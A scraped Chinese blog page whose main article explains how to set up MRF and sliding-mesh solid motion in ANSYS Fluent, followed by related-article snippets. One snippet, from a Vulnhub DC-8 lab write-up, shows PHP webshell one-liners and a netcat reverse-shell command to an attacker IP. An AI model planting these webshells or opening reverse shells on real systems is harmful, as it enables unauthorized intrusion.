Fluent固体运动的设置方法(1)

news2024/11/27 1:32:02

1 概述

固体运动是某些CFD问题中必须要考虑的因素,如风扇的旋转。相关问题可分类如下:

问题类型是否为刚体运动规律是否已知
无特定称呼YY
六自由度运动问题YN
流固耦合问题NN

在 Fluent 中,有多种方法表征固体运动,包括:

  • MRF(multiple reference frame,多重坐标系)
  • 滑移网格(sliding mesh)
  • 动网格(dynamic mesh)
  • 重叠网格(overset mesh)

本文作为第一部分,仅讲述 MRF 和滑移网格的设置。动网格和重叠网格部分另外讲述。

2 应用场景

MRF和滑移网格方法通常应用于绕轴旋转、平动等运动规律简单的问题,工程中以绕轴旋转应用较多。

MRF方法可支持稳态仿真和瞬态仿真,滑移网格方法仅支持瞬态仿真。

3 网格划分

计算域通常计算域包括静止域和运动域两个部分。运动域指运动固体附近区域被单独分割出来的区域,静止域为计算域剩余部分。

离心机等整体运动的场景,可将整个计算域作为运动域,无需对静止域建模。

如图所示搅拌器模型,黄色部分为搅拌器叶片附近的区域被单独切割出来作为旋转域,灰色部分为静止域。

4 计算设置

4.1 MRF设置

在Fluent中,需要在运动域设置面板勾选“frame motion”选项,并设置运动规律。

旋转的定义需要同时定义旋转轴和转速。

旋转轴是三维空间的直线,其定义需要方向向量和经过的点两类信息。方向向量在“rotation-axis direction”部分设置,其可以为任意长度的向量,如(0,0,1)和(0,0,2)对于定义旋转轴方向是等效的。经过的点在“rotation-axis origin”部分设置,可以为旋转轴上的任意点。

旋转方向采用右手螺旋法则确定,旋转轴的方向向量符号对旋转方向有影响。例如,(0,0,1)和(0,0,-1)所表示的旋转方向是相反的。

由于MRF方法不涉及网格变化,无需额外设置旋转域和静止域区域之间的网格交界面,可直接使用共节点网格。

4.2 滑移网格设置

在 Fluent 中,需要在运动域设置面板勾选“mesh motion”选项,并设置运动规律。

面板上运动规律的设置内容和MRF相同。

由于运动域网格随时间变化,需要创建网格交界面(mesh interface)以进行数据插值,且不可使用共节点网格。

对已有的MRF设置,Fluent命令“mesh/modify-zones/mrf-to-sliding-mesh”可自动转换为滑移网格设置。

4.3 边界条件设置

Fluent中默认的壁面边界条件为无滑移边界条件,且相对于从属的区域静止,不是绝对静止。默认设置中,壁面的边界速度由区域的运动规律设置决定。

由于几何特征限制等原因,很难保证各个壁面和所属区域的运动规律相同。对于部分壁面需要单独设置运动速度,使其和物理实际一致。

在设置界面,建议壁面的运动规律基于绝对坐标系定义,避免出错。

5 后处理

后处理中,Fluent速度可分为绝对速度和相对速度两类。速度的参考系为绝对坐标系,相对速度的参考系为运动坐标系。两者对比如图所示。

6 MRF和滑移网格的区别

低转速下,MRF和滑移网格计算结果较接近,转速越高两者偏差越大。

若需要获得精确结果和流动特征的周期性波动规律,可先用MRF运行稳态仿真获得初步结果,再用滑移网格运行瞬态仿真,且MRF的稳态结果作为瞬态仿真初始条件。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1825903.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

js编程环境配置-vscode

1、安装Node.js 官网下载 选择适合你Windows系统架构(32位或64位)的安装包。windows系统选择“Windows Installer (.msi)”或“Windows Binary (.exe)”进行下载。 双击下载的.msi或.exe文件进行安装。 在cmd中输入node --version和npm --version&…

word中根据上级设置下级编号

如上级是3.13.4,如下图 现在想设置下级编码跟随上级逐级显示成3.13.4.1 则在标题功能说明这点击顶部菜单栏的编号按钮,如下图 然后,选择自定义编号-自定义列表-自定义按钮 然后重点是编号格式这一栏,需要手动填写下前三级的编号&…

统计信号处理基础 习题解答10-16

题目: 对于例10.1,证明由观察数据得到的信息是: 解答: 基于习题10-15的结论,,那么: 而根据习题10-15的结论: 此条件概率也是高斯分布,即: 根据相同的计算&a…

Hexo 搭建个人博客(ubuntu20.04)

1 安装 Nodejs 和 npm 首先登录NodeSource官网: Nodesource Node.js DEB 按照提示安装最新的 Node.js 及其配套版本的 npm。 (1)以 sudo 用户身份运行下面的命令,下载并执行 NodeSource 安装脚本: sudo curl -fsSL…

训练营第三十六天| 337.打家劫舍 III121. 买卖股票的最佳时机

337.打家劫舍 III 力扣题目链接(opens new window) 在上次打劫完一条街道之后和一圈房屋后,小偷又发现了一个新的可行窃的地区。这个地区只有一个入口,我们称之为“根”。 除了“根”之外,每栋房子有且只有一个“父“房子与之相连。一番侦察…

设计模式- 责任链模式Chain of Responsibility(行为型)

责任链模式(Chain of Responsibility) 责任链模式是一种行为模式,它为请求创建一个接收者对象的链,解耦了请求的发送者和接收者。责任链模式将多个处理器串联起来形成一条处理请求的链。 图解 角色 抽象处理者: 一个处理请求的接口&#xf…

Portraiture 2024软件怎么下载安装? 【详细安装图文教程】

简介: Portraiture是一款智能磨皮的滤镜插件,该插件能够给Photoshop和Lightroom添加智能磨皮美化功能,可以帮助用户快速对图片中的人物的皮肤、头发、眉毛等部位进行美化,省去了手动调整的麻烦,大大提高P图的效率。 安…

基于System-Verilog的FPGA设计与仿真

一、System-Verilog System Verilog的发展 SystemVerilog 的出现是为了因应日益复杂的数位电路设计和验证需求。虽然Verilog HDL 在早期的数位电路设计中得到了广泛应用,但随着技术的发展和电路复杂度的增加,Verilog HDL 在某些方面已经显得有些不足以满…

Cocos2d-x 4.0 工程首次建立与编译(Mac m1)

Mac m1芯片下将cocos2d-x升级至4.0版本后,官方剔除了不同平台的工程以及变更了编译方式,直接使用cmake构建,需要做一些前置的准备工作。 环境准备: 项 版本 备注 MacOS10.3 or laterpython2.7.16(建议>2.7.10)cmake3.29.3Do…

LangGraph实战:从零分阶打造人工智能航空客服助手

❝ 通过本指南,你将学习构建一个专为航空公司设计的客服助手,它将协助用户查询旅行信息并规划行程。在此过程中,你将掌握如何利用LangGraph的中断机制、检查点技术以及更为复杂的状态管理功能,来优化你的助手工具,同时…

可解析PHP的反弹shell方法

这里拿vulnhub-DC-8靶场反弹shell&#xff0c;详情见Vulnhub-DC-8 命令执行 拿nc举例 <?php echo system($_POST[cmd]); ?>利用是hackbar&#xff0c;POST提交cmdnc -e /bin/sh 192.168.20.128 6666, 直接反弹shell到kali。 一句话木马 <?php eval($_POST[&qu…

在 Windows 环境下安装mysql步骤(MySQL)

文章目录 一、下载 MySQL二、解压安装包到磁盘三、配置环境&#xff08;管理员权限&#xff09;四、安装 MySQL&#xff08;管理员权限&#xff09; 一、下载 MySQL 如下图&#xff1a;为你的电脑下载对应操作系统的 MySQL 安装包 二、解压安装包到磁盘 三、配置环境&#x…

SD3开源:AI绘画的新纪元,出图效果巨好,不容错过!(附教程)

大家好&#xff0c;我是画画的小强。 这两天&#xff0c;Stability AI 将史上最牛的AI绘画模型SD3开源了&#xff0c;真是有格局&#xff01; 虽说只是中杯的20亿参数版本&#xff0c;但我已经很满足了&#xff0c;再高的版本&#xff0c;我这普通的16G 4070Ti Super 显卡也跑…

【数据结构】第十六弹---C语言实现希尔排序

✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】【C详解】 目录 1、希尔排序( 缩小增量排序 ) 1.1、预排序实现 1.2、希尔排序代码实现 1.3、代码测试 1.4、时空复杂度分析 1.5、性能比较 总结 上一弹我们…

基于mybatis plus增加较复杂自定义查询以及分页

基于java技术&#xff0c;spring-boot和mybatis-plus搭建后台框架是现在非常流行的技术。 其中关于多表关联查询的实现相对比较复杂&#xff0c;在这里进行记录以供开发人员参考。 以一个系统中实际的实体类为查询为例&#xff0c; T3dMaterial实体其中的fileType属性及字段…

C#批量设置海康和大华录像机NVR,GB28181的通道编码.

我经常要把小区海康或者大华的硬盘录像机推送到自己搭建的gb28181监控平台,每次几百个摄像头编码,有点头大,就用了1个多周写了个批量设置海康和大华硬盘录像机的通道编码的程序,海康和大华的SDK简直不是人看的. 太乱了. 大华读取通道编码的代码 /// <summary>/// 获取通道…

找我设计官网的不多了,看到漂亮大气的,还是忍不住分享出来。

现在有客户找我做官网设计&#xff0c;我说&#xff1a;要么搞个高大上个性化定制的&#xff0c;要么就选个模板得了&#xff0c;几千元的网站不上不下&#xff0c;不如不做。 分享一批高大上的网站给老铁们看看。

【课程系列01】某乎的AI大模型全栈工程师-第4期

网盘链接 链接&#xff1a;https://pan.baidu.com/s/1QLkRW_DmIm1q9XvNiOGwtQ --来自百度网盘超级会员v6的分享 课程目标 AI大模型全栈工程师是指具备人工智能领域全方位能力的工程师&#xff0c;特别是在大模型开发和应用方面具有深厚的专业知识和技能。以下是关于AI大模型…

跻身中国市场前三,联想服务器的“智变”与“质变”

IDC发布的《2024年第一季度中国x86服务器市场报告》显示&#xff0c;联想服务销售额同比增长200.2%&#xff0c;在前十厂商中同比增速第一&#xff0c;并跻身中国市场前三&#xff0c;迈入算力基础设施“第一阵营”。 十年砺剑联想梦&#xff0c;三甲登榜领风骚。探究联想服务器…

10分钟部署一个个人博客

关于vuepress这里没必要过多介绍&#xff0c;感兴趣的可以直接去官网了解&#xff0c;下面是官网首页地址截图 &#xff1a;https://v2.vuepress.vuejs.org/zh/ 透过这张图&#xff0c;我们也可以大致的对这个框架的特点有一定的认识&#xff0c;这就够了。其他的东西我们在使用…